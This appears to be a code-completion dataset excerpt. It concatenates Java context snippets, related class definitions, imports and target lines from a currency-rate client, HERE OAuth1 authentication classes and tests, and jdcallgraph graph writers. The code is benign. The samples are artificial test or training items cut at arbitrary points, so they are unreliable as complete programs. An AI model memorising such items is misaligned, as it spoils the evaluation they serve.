rateMap.put(key, rates.getDouble(key)); } return rateMap; } /** * Peform currency conversion calculation. * * @param baseCurrency * @param quoteCurrency * @return rebased currency. */ public static double rebaseCurrency(double baseCurrency, double quoteCurrency) { return baseCurrency * (1 / quoteCurrency); } /** * Get currency rates for a specified date. Only M/D/Y is handled. * * @param date Date to query rates for. * @return Map<String, Double> of rates for given date, or throws IOException on 404. * @throws IOException on I/O error * @throws JSONException on JSON parsing error */ public Map<String, Double> getRates(Date date) throws IOException, JSONException { Map<String, Double> rateMap = new HashMap<String, Double>(); String dateUrl = dateFormat.format(date) + ".json"; URLBuilder url = baseURL.copy("historical").append(dateUrl); JSONObject json = callServer(url.toString()); JSONObject rates = json.getJSONObject("rates"); for (Iterator<String> i = rates.keys(); i.hasNext();) { String key = i.next(); rateMap.put(key, rates.getDouble(key)); } return rateMap; } /** * Get the latest currencies from openexchangerates.org. * * @return Map of defined currencies with key as name and value as description. * * @throws IOException on I/O error * @throws JSONException on JSON parsing error */ public Map<String, String> getCurrencies() throws IOException, JSONException { Map<String, String> currencies = new HashMap<String, String>(); JSONObject json = callServer(currenciesURL.toString()); for (Iterator<String> i = json.keys(); i.hasNext();) { String key = i.next(); currencies.put(key, json.getString(key)); } return currencies; } /** * Get the timestamp of the latest update from openexchangerates.org. * * @return date of latest update * @throws IOException on I/O error * @throws JSONException on JSON parsing error */ public Date getTimestamp() throws IOException, JSONException { JSONObject json = callServer(latestURL.toString()); long timestamp = json.getLong("timestamp") * 1000l; return new Date(timestamp); } /** * Get JSON from server or returned cached copy if configured and available. * * * @param url * @return * @throws IOException */ private synchronized JSONObject callServer(String url) throws IOException {
Response<JSONObject> response = restClient.callGet(url, new JSONObjectDeserializer());
2
heremaps/here-aaa-java-sdk
here-oauth-client/src/test/java/com/here/account/oauth2/SignInWithClientCredentialsIT.java
[ "public class OAuth1ClientCredentialsProvider implements ClientCredentialsProvider {\n\n private final Clock clock;\n private final String tokenEndpointUrl;\n private final OAuth1Signer oauth1Signer;\n private final String scope;\n \n /**\n * Construct a new {@code OAuth1ClientCredentialsProvider} that points to\n * the given token endpoint and uses the given client credentials to sign\n * requests using OAuth1 signatures.\n * \n * @param tokenEndpointUrl the full URL of the OAuth2.0 token endpoint\n * @param accessKeyId the access key id to be used as a client credential\n * @param accessKeySecret the access key secret to be used as a client credential\n */\n public OAuth1ClientCredentialsProvider(String tokenEndpointUrl,\n String accessKeyId,\n String accessKeySecret) {\n this(new SettableSystemClock(), tokenEndpointUrl, accessKeyId, accessKeySecret, null);\n }\n\n public OAuth1ClientCredentialsProvider(String tokenEndpointUrl,\n String accessKeyId,\n String accessKeySecret,\n String scope) {\n this(new SettableSystemClock(), tokenEndpointUrl, accessKeyId, accessKeySecret, scope);\n }\n\n public OAuth1ClientCredentialsProvider(Clock clock,\n String tokenEndpointUrl,\n String accessKeyId,\n String accessKeySecret\n ) {\n this(clock, tokenEndpointUrl, accessKeyId, accessKeySecret, null);\n }\n\n public OAuth1ClientCredentialsProvider(Clock clock,\n String tokenEndpointUrl,\n String accessKeyId,\n String accessKeySecret,\n String scope\n ) {\n Objects.requireNonNull(clock, \"clock is required\");\n Objects.requireNonNull(tokenEndpointUrl, \"tokenEndpointUrl is required\");\n Objects.requireNonNull(accessKeyId, \"accessKeyId is required\");\n Objects.requireNonNull(accessKeySecret, \"accessKeySecret is required\");\n\n this.clock = clock;\n this.tokenEndpointUrl = tokenEndpointUrl;\n this.oauth1Signer = new OAuth1Signer(clock, accessKeyId, accessKeySecret);\n this.scope = scope;\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public Clock getClock() {\n return clock;\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public String getTokenEndpointUrl() {\n return tokenEndpointUrl;\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public HttpProvider.HttpRequestAuthorizer getClientAuthorizer() {\n return oauth1Signer;\n }\n\n /**\n * An {@link OAuth1ClientCredentialsProvider} that pulls credentials values\n * from the given properties. The properties supported and required are:\n * <ul>\n * <li>{@value #TOKEN_ENDPOINT_URL_PROPERTY} - Used to set the token endpoint URL.</li>\n * <li>{@value #ACCESS_KEY_ID_PROPERTY} - Used to set the access key id.</li>\n * <li>{@value #ACCESS_KEY_SECRET_PROPERTY} - Used to set the access key secret.</li>\n * </ul>\n */\n public static class FromProperties extends OAuth1ClientCredentialsProvider {\n \n public static final String TOKEN_ENDPOINT_URL_PROPERTY = \"here.token.endpoint.url\";\n public static final String ACCESS_KEY_ID_PROPERTY = \"here.access.key.id\";\n public static final String ACCESS_KEY_SECRET_PROPERTY = \"here.access.key.secret\";\n public static final String TOKEN_SCOPE_PROPERTY = \"here.token.scope\";\n\n /**\n * Builds an {@link OAuth1ClientCredentialsProvider} by pulling the\n * required url, accessKeyId, and accessKeySecret from the given\n * properties.\n * \n * @param properties the properties object to pull the required credentials from\n */\n public FromProperties(Properties properties) {\n super(properties.getProperty(TOKEN_ENDPOINT_URL_PROPERTY),\n properties.getProperty(ACCESS_KEY_ID_PROPERTY),\n properties.getProperty(ACCESS_KEY_SECRET_PROPERTY),\n properties.getProperty(TOKEN_SCOPE_PROPERTY));\n }\n }\n\n /**\n * An {@link FromProperties} that pulls credential values from the specified File.\n */\n public static class FromFile extends FromProperties {\n \n /**\n * Builds an {@link OAuth1ClientCredentialsProvider} by pulling the\n * required url, accessKeyId, and accessKeySecret from the given\n * File.\n * \n * @param file the File object to pull the required credentials from\n * @throws IOException if there is a problem loading the file\n */\n public FromFile(File file) throws IOException {\n super(getPropertiesFromFile(file));\n }\n \n }\n\n /**\n * Loads the File as an InputStream into a new Properties object,\n * and returns it.\n *\n * @param file the File to use as input\n * @return the Properties populated from the specified file's contents\n * @throws IOException if there is trouble reading the properties from the file\n */\n public static Properties getPropertiesFromFile(File file) throws IOException {\n InputStream inputStream = null;\n try {\n inputStream = new FileInputStream(file);\n Properties properties = new Properties();\n properties.load(inputStream);\n return properties;\n } finally {\n if (null != inputStream) {\n inputStream.close();\n }\n }\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public AccessTokenRequest getNewAccessTokenRequest() {\n AccessTokenRequest req = new ClientCredentialsGrantRequest();\n req.setScope(scope);\n return req;\n }\n \n /**\n * {@inheritDoc}\n */\n @Override\n public HttpMethods getHttpMethod() {\n return HttpMethods.POST;\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public String getScope() {\n return scope;\n }\n}", "public class OAuth1Signer implements HttpProvider.HttpRequestAuthorizer {\n \n /**\n * HERE Account recommends 6-character nonces.\n */\n private static final int NONCE_LENGTH = 6;\n \n private final Clock clock;\n\n /**\n * HERE client accessKeyId. Becomes the value of oauth_consumer_key in the \n * Authorization: OAuth header.\n */\n private final String consumerKey;\n \n /**\n * HERE client accessKeySecret. Used to calculate the oauth_signature in the \n * Authorization: OAuth header.\n */\n private final String consumerSecret;\n \n \n private final SignatureMethod signatureMethod;\n \n /**\n * Construct the OAuth signer based on accessKeyId and accessKeySecret.\n * \n * @param accessKeyId the HERE client accessKeyId. Becomes the value of oauth_consumer_key in \n * the Authorization: OAuth header.\n * @param accessKeySecret the HERE client accessKeySecret. Used to calculate the oauth_signature \n * in the Authorization: OAuth header.\n */\n public OAuth1Signer(String accessKeyId, String accessKeySecret) {\n this(new SettableSystemClock(), accessKeyId, accessKeySecret);\n }\n \n /**\n * Construct the OAuth signer based on clock, accessKeyId, and accessKeySecret.\n * Use this if you want to inject your own clock, such as during unit tests.\n * \n * @param clock the implementation of a clock you want to use\n * @param accessKeyId the HERE clientId. Becomes the value of oauth_consumer_key in \n * the Authorization: OAuth header.\n * @param accessKeySecret the HERE clientSecret. Used to calculate the oauth_signature \n * in the Authorization: OAuth header.\n */\n public OAuth1Signer(Clock clock, String accessKeyId, String accessKeySecret) {\n this(clock, accessKeyId, accessKeySecret, SignatureMethod.HMACSHA256);\n }\n \n /**\n * \n * @param consumerKey the identity of the caller, sent in plaintext. \n * Becomes the value of oauth_consumer_key in \n * the Authorization: OAuth header.\n * @param consumerSecret secret of the caller, or private key of the caller. \n * Used to calculate the oauth_signature \n * in the Authorization: OAuth header.\n * @param signatureMethod the choice of signature algorithm to use.\n */\n public OAuth1Signer(String consumerKey, String consumerSecret, SignatureMethod signatureMethod) {\n this(new SettableSystemClock(), consumerKey, consumerSecret, signatureMethod);\n }\n \n /**\n * Construct the OAuth signer based on clock, consumerKey, consumerSecret, \n * and signatureMethod.\n * \n * @param clock the implementation of a clock you want to use\n * @param consumerKey the identity of the caller, sent in plaintext. \n * Becomes the value of oauth_consumer_key in \n * the Authorization: OAuth header.\n * @param consumerSecret secret of the caller, or private key of the caller. \n * Used to calculate the oauth_signature \n * in the Authorization: OAuth header.\n * @param signatureMethod the choice of signature algorithm to use.\n */\n public OAuth1Signer(Clock clock, String consumerKey, String consumerSecret, SignatureMethod signatureMethod) {\n this.clock = clock;\n this.consumerKey = consumerKey;\n this.consumerSecret = consumerSecret;\n this.signatureMethod = signatureMethod;\n }\n\n /**\n * The source of entropy for OAuth1.0 nonce values.\n * File bytes with entropy for OAuth1.0 nonce values.\n * Note the OAuth1.0 spec specifically tells us we do not need to use a SecureRandom \n * number generator.\n * \n * @param bytes the byte array in which to stick the nonce value\n */\n protected void nextBytes(byte[] bytes) {\n ThreadLocalRandom.current().nextBytes(bytes);;\n }\n\n /**\n * Extract query parameters from a raw query string.\n *\n * @param query is the raw query string as a substring from the URL.\n * @return map containing list of query parameters.\n */\n protected Map<String, List<String>> getQueryParams(String query) {\n Map<String, List<String>> queryParams = new HashMap<>();\n String[] kvPairs = query.split(\"&\");\n for (String kvPair : kvPairs) {\n int ix = kvPair.indexOf(\"=\");\n String key = kvPair;\n String value = \"\";\n if (ix != -1) {\n key = kvPair.substring(0, ix);\n value = kvPair.substring(ix + 1);\n }\n try {\n key = URLDecoder.decode(key, OAuthConstants.UTF_8_STRING);\n value = URLDecoder.decode(value, OAuthConstants.UTF_8_STRING);\n } catch (UnsupportedEncodingException e) {\n throw new IllegalArgumentException(e);\n }\n List<String> values = queryParams.get(key);\n if (values == null) {\n values = new ArrayList<>();\n queryParams.put(key, values);\n }\n values.add(value);\n }\n return queryParams;\n }\n\n /**\n * For cases where there is no Content-Type: application/x-www-form-urlencoded, \n * and no request token, call this method to get the Authorization Header Value \n * for a single request. \n * \n * <p>\n * Computes the OAuth1 Authorization header value including all required components of the \n * OAuth type.\n * See also the OAuth 1.0\n * <a href=\"https://tools.ietf.org/html/rfc5849#section-3.5.1\">Authorization Header</a>\n * Section.\n * \n * <p>\n * Note that the client accessKeySecret, once configured on this object, does not leave this method, \n * as signatures are used in its place on the wire.\n * \n * @param method\n * @return\n */\n private String getAuthorizationHeaderValue(String method, String url, \n Map<String, List<String>> formParams) {\n SignatureCalculator calculator = getSignatureCalculator();\n \n // <a href=\"https://tools.ietf.org/html/rfc5849#section-3.3\">timestamp</no I a>.\n // the number of seconds since January 1, 1970 00:00:00 GMT\n long timestamp = clock.currentTimeMillis() / 1000L;\n // choose the first 6 chars from base64 alphabet\n byte[] bytes = new byte[NONCE_LENGTH]; \n nextBytes(bytes);\n String nonce = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes).substring(0, NONCE_LENGTH);\n int qPos = url.indexOf('?');\n Map<String, List<String>> queryParams = null;\n if (qPos != -1) {\n String query = url.substring(qPos + 1);\n queryParams = getQueryParams(query);\n url = url.substring(0, qPos);\n }\n String computedSignature = calculator.calculateSignature(method, url, timestamp, nonce, \n signatureMethod,\n formParams,\n queryParams);\n \n return calculator.constructAuthHeader(computedSignature, nonce, timestamp, \n signatureMethod);\n }\n\n /**\n * Gets the signature calculator, given that we don't use a user auth, and we do use \n * the configured client accessKeyId, client accessKeySecret pair.\n * \n * @return\n */\n SignatureCalculator getSignatureCalculator() {\n // client accessKeyId is \"Client Identifier\" a.k.a. \"oauth_consumer_key\" in the OAuth1.0 spec\n // client accessKeySecret is \"Client Shared-Secret\" , which becomes the client shared-secret component \n // of the HMAC-SHA1 key per http://tools.ietf.org/html/rfc5849#section-3.4.2.\n SignatureCalculator calculator = new SignatureCalculator(consumerKey, consumerSecret);\n return calculator;\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public void authorize(HttpRequest httpRequest, String method, String url, Map<String, List<String>> formParams) {\n String authorizationHeaderValue = getAuthorizationHeaderValue(method, url, formParams);\n httpRequest.addAuthorizationHeader(authorizationHeaderValue);\n }\n\n}", "public interface HttpProvider extends Closeable {\n \n /**\n * Wrapper for an HTTP request.\n */\n public static interface HttpRequest {\n \n /**\n * Add the Authorization header to this request, with the specified \n * <tt>value</tt>.\n * See also \n * <a href=\"https://tools.ietf.org/html/rfc7235#section-4.2\">RFC 7235</a>.\n * \n * @param value the value to add in the Authorization header\n */\n void addAuthorizationHeader(String value);\n\n /**\n * Adds the additional (name, value)-pair to be sent as HTTP Headers\n * on the HTTP Request.\n * See also\n * <a href=\"https://tools.ietf.org/html/rfc7230#section-3.2\">RFC 7230</a>.\n *\n * @param name the name of the HTTP Header to add\n * @param value the value of the HTTP Header to add\n */\n default void addHeader(String name, String value) {\n throw new UnsupportedOperationException(\"addHeader not supported\");\n }\n\n }\n \n /**\n * Wrapper for authorizing HTTP requests.\n */\n public static interface HttpRequestAuthorizer {\n \n /**\n * Computes and adds a signature or token to the request as appropriate \n * for the authentication or authorization scheme.\n * \n * @param httpRequest the HttpRequest under construction, \n * to which to attach authorization\n * @param method the HTTP method \n * @param url the URL of the request\n * @param formParams the \n * Content-Type: application/x-www-form-urlencoded\n * form parameters.\n */\n void authorize(HttpRequest httpRequest, String method, String url, \n Map<String, List<String>> formParams);\n\n }\n \n /**\n * Wrapper for HTTP responses.\n */\n public static interface HttpResponse {\n \n /**\n * Returns the HTTP response status code.\n * \n * @return the HTTP response status code as an int\n */\n int getStatusCode();\n \n /**\n * Returns the HTTP Content-Length header value.\n * The content length of the response body.\n * \n * @return the content length of the response body.\n */\n long getContentLength();\n \n /**\n * Get the response body, as an <tt>InputStream</tt>.\n * \n * @return if there was a response entity, returns the InputStream reading bytes \n * from that response entity.\n * otherwise, if there was no response entity, this method returns null.\n * @throws IOException if there is I/O trouble\n */\n InputStream getResponseBody() throws IOException;\n\n /**\n * Returns all the headers from the response\n * @return returns a Map of headers if the method implementation returns the headers \n * or throws Unsupported Operation Exception if the method is not implemented\n */\n\n default Map<String, List<String>> getHeaders() {\n throw new UnsupportedOperationException();\n }\n \n }\n\n /**\n * Gets the RequestBuilder, with the specified method, url, and requestBodyJson.\n * The Authorization header has already been set according to the \n * httpRequestAuthorizer implementation.\n * \n * @param httpRequestAuthorizer for adding the Authorization header value\n * @param method HTTP method value\n * @param url HTTP request URL\n * @param requestBodyJson the\n * Content-Type: application/json\n * JSON request body.\n * @return the HttpRequest object you can {@link #execute(HttpRequest)}.\n */\n HttpRequest getRequest(HttpRequestAuthorizer httpRequestAuthorizer, String method, String url, String requestBodyJson);\n \n /**\n * Gets the RequestBuilder, with the specified method, url, and formParams. \n * The Authorization header has already been set according to the \n * httpRequestAuthorizer implementation.\n * \n * @param httpRequestAuthorizer for adding the Authorization header value\n * @param method HTTP method value\n * @param url HTTP request URL\n * @param formParams the \n * Content-Type: application/x-www-form-urlencoded\n * form parameters.\n * @return the HttpRequest object you can {@link #execute(HttpRequest)}.\n */\n HttpRequest getRequest(HttpRequestAuthorizer httpRequestAuthorizer, String method, String url,\n Map<String, List<String>> formParams);\n \n /**\n * Execute the <tt>httpRequest</tt>.\n * Implementing classes would commonly invoke or schedule a RESTful HTTPS API call \n * over the wire to the configured Service as part of <tt>execute</tt>.\n * \n * @param httpRequest the HttpRequest\n * @return the HttpResponse to the request\n * @throws HttpException if there is trouble executing the httpRequest\n * @throws IOException if there is I/O trouble executing the httpRequest\n */\n HttpResponse execute(HttpRequest httpRequest) throws HttpException, IOException;\n \n}", "public enum HttpMethods {\n /**\n * See <a href=\"https://tools.ietf.org/html/rfc7231#section-4.3.1\">HTTP/1.1 Semantics and Content: GET</a>.\n */\n GET(\"GET\"),\n POST(\"POST\");\n \n private final String method;\n \n private HttpMethods(String method) {\n this.method = method;\n }\n \n /**\n * Returns the HTTP Method to be sent with the HTTP Request message.\n * \n * @return the HTTP method\n */\n public String getMethod() {\n return method;\n }\n}", "public static interface HttpRequestAuthorizer {\n \n /**\n * Computes and adds a signature or token to the request as appropriate \n * for the authentication or authorization scheme.\n * \n * @param httpRequest the HttpRequest under construction, \n * to which to attach authorization\n * @param method the HTTP method \n * @param url the URL of the request\n * @param formParams the \n * Content-Type: application/x-www-form-urlencoded\n * form parameters.\n */\n void authorize(HttpRequest httpRequest, String method, String url, \n Map<String, List<String>> formParams);\n\n}", "public interface Clock {\n \n /**\n * java.lang.System Clock (digital approximation of wall clock).\n */\n Clock SYSTEM = new Clock() {\n \n /**\n * {@inheritDoc}\n */\n @Override\n public long currentTimeMillis() {\n return System.currentTimeMillis();\n }\n \n /**\n * {@inheritDoc}\n */\n @Override\n public void schedule(ScheduledExecutorService scheduledExecutorService, \n Runnable runnable,\n long millisecondsInTheFutureToSchedule\n ) {\n scheduledExecutorService.schedule(\n runnable,\n millisecondsInTheFutureToSchedule,\n TimeUnit.MILLISECONDS\n );\n\n }\n };\n\n /**\n * Returns the milliseconds UTC since the epoch.\n * \n * @return this clock's currentTimeMillis in UTC since the epoch.\n */\n long currentTimeMillis();\n\n /**\n * Schedules <tt>runnable</tt> the specified <tt>millisecondsInTheFutureToSchedule</tt>\n * using <tt>scheduledExecutorService</tt>.\n * \n * @param scheduledExecutorService the ScheduledExecutorService to submit the runnable to\n * @param runnable the runnable to execute on a schedule\n * @param millisecondsInTheFutureToSchedule the schedule of milliseconds in the future, \n * approximating when the runnable should run.\n */\n void schedule(ScheduledExecutorService scheduledExecutorService, \n Runnable runnable,\n long millisecondsInTheFutureToSchedule\n );\n}" ]
import com.here.account.http.HttpProvider.HttpRequestAuthorizer; import com.here.account.util.Clock; import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.util.concurrent.ScheduledExecutorService; import org.junit.After; import org.junit.Before; import org.junit.Test; import com.here.account.auth.OAuth1ClientCredentialsProvider; import com.here.account.auth.OAuth1Signer; import com.here.account.http.HttpProvider; import com.here.account.http.HttpConstants.HttpMethods;
/* * Copyright (c) 2016 HERE Europe B.V. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.here.account.oauth2; public class SignInWithClientCredentialsIT extends AbstractCredentialTezt { HttpProvider httpProvider; TokenEndpoint signIn; @Before public void setUp() throws Exception { super.setUp(); httpProvider = getHttpProvider(); this.signIn = HereAccount.getTokenEndpoint( httpProvider, new OAuth1ClientCredentialsProvider(url, accessKeyId, accessKeySecret, scope) ); } @After public void tearDown() throws IOException { if (null != httpProvider) { httpProvider.close(); } } @Test public void test_signIn() throws Exception { String hereAccessToken = signIn.requestToken(new ClientCredentialsGrantRequest()).getAccessToken(); assertTrue("hereAccessToken was null or blank", null != hereAccessToken && hereAccessToken.length() > 0); }
private Clock clock;
5
dkarv/jdcallgraph
jdcallgraph/src/test/java/com/dkarv/jdcallgraph/callgraph/CallGraphTest.java
[ "public class DotFileWriter implements GraphWriter {\n private static final Logger LOG = new Logger(DotFileWriter.class);\n\n FileWriter writer;\n\n @Override\n public void start(String identifier) throws IOException {\n if (writer != null) {\n // close an old writer to make sure everything is flushed to disk\n close();\n }\n writer = new FileWriter(identifier + \".dot\");\n writer.append(\"digraph \\\"\" + identifier + \"\\\"\\n{\\n\");\n }\n\n @Override\n public void node(StackItem method) throws IOException {\n writer.append(\"\\t\\\"\" + method.toString() + \"\\\" [style=filled,fillcolor=red];\\n\");\n }\n\n @Override\n public void edge(StackItem from, StackItem to) throws IOException {\n writer.append(\"\\t\\\"\" + from.toString() + \"\\\" -> \\\"\" + to.toString() + \"\\\";\\n\");\n }\n\n @Override\n public void edge(StackItem from, StackItem to, String label) throws IOException {\n writer.append(\"\\t\\\"\" + from.toString() + \"\\\" -> \\\"\" + to.toString() + \"\\\" [label=\\\"\" + label + \"\\\"];\\n\");\n }\n\n @Override\n public void end() throws IOException {\n writer.append(\"}\\n\");\n }\n\n @Override\n public void close() throws IOException {\n writer.close();\n }\n}", "public interface GraphWriter extends Closeable {\n /**\n * Start a new graph with the given name.\n *\n * @param identifier name of the graph\n */\n void start(String identifier) throws IOException;\n\n /**\n * Add a node.This is only called once at the beginning of the graph.\n *\n * @param method method\n */\n void node(StackItem method) throws IOException;\n\n /**\n * Add an edge from one method to the other.\n *\n * @param from source node\n * @param to target node\n */\n void edge(StackItem from, StackItem to) throws IOException;\n\n /**\n * Write an edge with a label. If the writer does not support labels it will write the edge without.\n */\n void edge(StackItem from, StackItem to, String label) throws IOException;\n\n /**\n * Finish the graph.\n */\n void end() throws IOException;\n\n /**\n * Finally called after all graphs are written.\n */\n @Override\n void close() throws IOException;\n}", "public class CsvMatrixFileWriter implements GraphWriter {\n FileWriter writer;\n\n private final Map<StackItem, Integer> indexes = new HashMap<>();\n private SortedSet<Integer> used;\n private int nextIndex = 0;\n\n @Override\n public void start(String identifier) throws IOException {\n if (writer == null) {\n int index = identifier.lastIndexOf('/');\n writer = new FileWriter(identifier.substring(0, index) + \"/matrix.csv\");\n }\n }\n\n @Override\n public void node(StackItem method) throws IOException {\n used = new TreeSet<>();\n writer.append(method.toString() + \";\");\n }\n\n @Override\n public void edge(StackItem from, StackItem to) throws IOException {\n Integer i = indexes.get(to);\n if (i == null) {\n i = nextIndex++;\n indexes.put(to, i);\n }\n used.add(i);\n }\n\n @Override\n public void edge(StackItem from, StackItem to, String label) throws IOException {\n this.edge(from, to);\n }\n\n @Override\n public void end() throws IOException {\n int pos = 0;\n for (Integer i : used) {\n for (int x = pos; x < i; x++) {\n writer.append(';');\n }\n writer.append(\"X;\");\n pos = i + 1;\n }\n writer.append(\";\\n\");\n }\n\n @Override\n public void close() throws IOException {\n String[] methods = new String[indexes.size()];\n for (Map.Entry<StackItem, Integer> entry : indexes.entrySet()) {\n methods[entry.getValue()] = entry.getKey().toString();\n }\n writer.append(';');\n for (String m : methods) {\n writer.append(m);\n writer.append(';');\n }\n writer.append('\\n');\n writer.close();\n }\n}", "public class RemoveDuplicatesWriter implements GraphWriter {\n private final static Logger LOG = new Logger(RemoveDuplicatesWriter.class);\n\n private final GraphWriter parentWriter;\n private final HashMap<StackItem, HashSet<StackItem>> edges = new HashMap<>();\n private final HashMap<StackItem, HashMap<StackItem, HashSet<String>>> labels = new HashMap<>();\n\n public RemoveDuplicatesWriter(GraphWriter parentWriter) {\n this.parentWriter = parentWriter;\n }\n\n @Override\n public void start(String identifier) throws IOException {\n parentWriter.start(identifier);\n }\n\n @Override\n public void node(StackItem method) throws IOException {\n parentWriter.node(method);\n }\n\n @Override\n public void edge(StackItem from, StackItem to) throws IOException {\n HashSet<StackItem> set = edges.get(from);\n if (set == null) {\n set = new HashSet<>();\n edges.put(from, set);\n }\n if (!set.contains(to)) {\n set.add(to);\n parentWriter.edge(from, to);\n }\n }\n\n @Override\n public void edge(StackItem from, StackItem to, String label) throws IOException {\n HashMap<StackItem, HashSet<String>> sets = labels.get(from);\n if (sets == null) {\n sets = new HashMap<>();\n labels.put(from, sets);\n }\n\n HashSet<String> set = sets.get(to);\n if (set == null) {\n set = new HashSet<>();\n sets.put(to, set);\n }\n if (!set.contains(label)) {\n set.add(label);\n parentWriter.edge(from, to, label);\n }\n }\n\n @Override\n public void end() throws IOException {\n parentWriter.end();\n edges.clear();\n }\n\n @Override\n public void close() throws IOException {\n parentWriter.close();\n }\n}", "public enum GroupBy {\n ENTRY, THREAD\n\n}", "public class StackItem {\n private final String className;\n private final String methodName;\n private final int lineNumber;\n private final boolean returnSafe;\n\n private final String formatted;\n\n public StackItem(String className, String methodName, int lineNumber, boolean returnSafe) {\n this.className = className;\n this.methodName = methodName;\n this.lineNumber = lineNumber;\n\n this.returnSafe = returnSafe;\n\n this.formatted = Formatter.format(this);\n }\n\n public StackItem(String type, String method, String signature, int lineNumber) {\n this(type, method, signature, lineNumber, true);\n }\n\n public StackItem(String type, String method, String signature, int lineNumber, boolean returnSafe) {\n this.className = type;\n // TODO store them separated\n this.methodName = method + signature;\n this.lineNumber = lineNumber;\n this.returnSafe = returnSafe;\n\n this.formatted = Formatter.format(this);\n }\n\n public String getClassName() {\n return className;\n }\n\n public String getMethodName() {\n return methodName;\n }\n\n public int getLineNumber() {\n return lineNumber;\n }\n\n @Override\n public String toString() {\n return formatted;\n }\n\n @Override\n public int hashCode() {\n return 31 * 31 * className.hashCode()\n + 31 * methodName.hashCode()\n + lineNumber;\n }\n\n @Override\n public boolean equals(Object other) {\n if (!(other instanceof StackItem)) {\n return false;\n }\n if (this == other) {\n return true;\n }\n StackItem o = (StackItem) other;\n return className.equals(o.className) &&\n methodName.equals(o.methodName) &&\n lineNumber == o.lineNumber;\n }\n\n public String getPackageName() {\n int indexDot = className.lastIndexOf('.');\n return className.substring(0, indexDot);\n }\n\n public String getShortClassName() {\n int indexDot = className.lastIndexOf('.');\n return className.substring(indexDot + 1);\n }\n\n public String getShortMethodName() {\n int indexBracket = methodName.indexOf('(');\n return methodName.substring(0, indexBracket);\n }\n\n public String getMethodParameters() {\n int openBracket = methodName.indexOf('(');\n int closingBracket = methodName.indexOf(')');\n return methodName.substring(openBracket + 1, closingBracket);\n }\n\n public boolean isReturnSafe() {\n return returnSafe;\n }\n\n public boolean equalTo(StackTraceElement element) {\n return element != null\n && this.className.equals(element.getClassName())\n && this.getShortMethodName().equals(element.getMethodName())\n // line number comparison does not work because the stack trace number\n // is the real line of the call and not beginning of the method\n //&& this.lineNumber == element.getLineNumber()\n ;\n }\n}", "public enum Target {\n /**\n * Output a test coverage matrix.\n */\n MATRIX,\n /**\n * Output the call graph in dot format.\n */\n DOT,\n /**\n * Coverage csv.\n */\n COVERAGE,\n /**\n * All methods used per entry.\n */\n TRACE,\n /**\n * The line number of each entry (method/test).\n */\n LINES,\n /**\n * Data Dependence graph as dot file.\n */\n DD_DOT,\n /**\n * Data dependence graph as csv.\n */\n DD_TRACE;\n\n public boolean isDataDependency() {\n return this == Target.DD_DOT || this == Target.DD_TRACE;\n }\n}", "public abstract class Config {\n\n static Config instance;\n\n public static Config getInst() {\n return instance;\n }\n\n @Option\n public abstract String outDir();\n\n @Option\n public abstract int logLevel();\n\n @Option\n public abstract boolean logConsole();\n\n @Option\n public abstract GroupBy groupBy();\n\n @Option\n public abstract Target[] writeTo();\n\n @Option\n public abstract DuplicateDetection duplicateDetection();\n\n @Option\n public abstract String format();\n\n @Option\n public abstract boolean javassist();\n\n /**\n * Check whether everything is set and fix options if necessary.\n */\n void check() {\n if (!outDir().endsWith(File.separator)) {\n // TODO get rid of this by checking each location it is used\n throw new IllegalArgumentException(\"outDir \" + outDir() + \" does not end with a file separator\");\n }\n\n if (logLevel() < 0 || logLevel() > 6) {\n throw new IllegalArgumentException(\"Invalid log level: \" + logLevel());\n }\n }\n}", "public class ConfigUtils {\n\n public static void replace(boolean addDefaults, String... options) throws IOException {\n if (addDefaults) {\n new ConfigReader(\n ConfigUtils.class.getResourceAsStream(\"/com/dkarv/jdcallgraph/defaults.ini\"),\n write(options)).read();\n } else {\n new ConfigReader(\n write(options)).read();\n }\n }\n\n public static InputStream write(String... options) throws IOException {\n StringBuilder str = new StringBuilder();\n for (String opt : options) {\n str.append(opt);\n str.append('\\n');\n }\n return TestUtils.writeInputStream(str.toString());\n }\n\n public static void inject(Config config) {\n Config.instance = config;\n }\n}" ]
import com.dkarv.jdcallgraph.writer.DotFileWriter; import com.dkarv.jdcallgraph.writer.GraphWriter; import com.dkarv.jdcallgraph.writer.CsvMatrixFileWriter; import com.dkarv.jdcallgraph.writer.RemoveDuplicatesWriter; import com.dkarv.jdcallgraph.util.options.GroupBy; import com.dkarv.jdcallgraph.util.StackItem; import com.dkarv.jdcallgraph.util.options.Target; import com.dkarv.jdcallgraph.util.config.Config; import com.dkarv.jdcallgraph.util.config.ConfigUtils; import org.hamcrest.CoreMatchers; import org.junit.Assert; import org.junit.Test; import org.mockito.Mockito; import java.io.IOException;
package com.dkarv.jdcallgraph.callgraph; public class CallGraphTest { @Test public void testCreateWriter() {
GraphWriter w = CallGraph.createWriter(Target.DOT, true);
1
vy/hrrs
replayer-base64/src/main/java/com/vlkan/hrrs/replayer/base64/Base64HttpRequestRecordStream.java
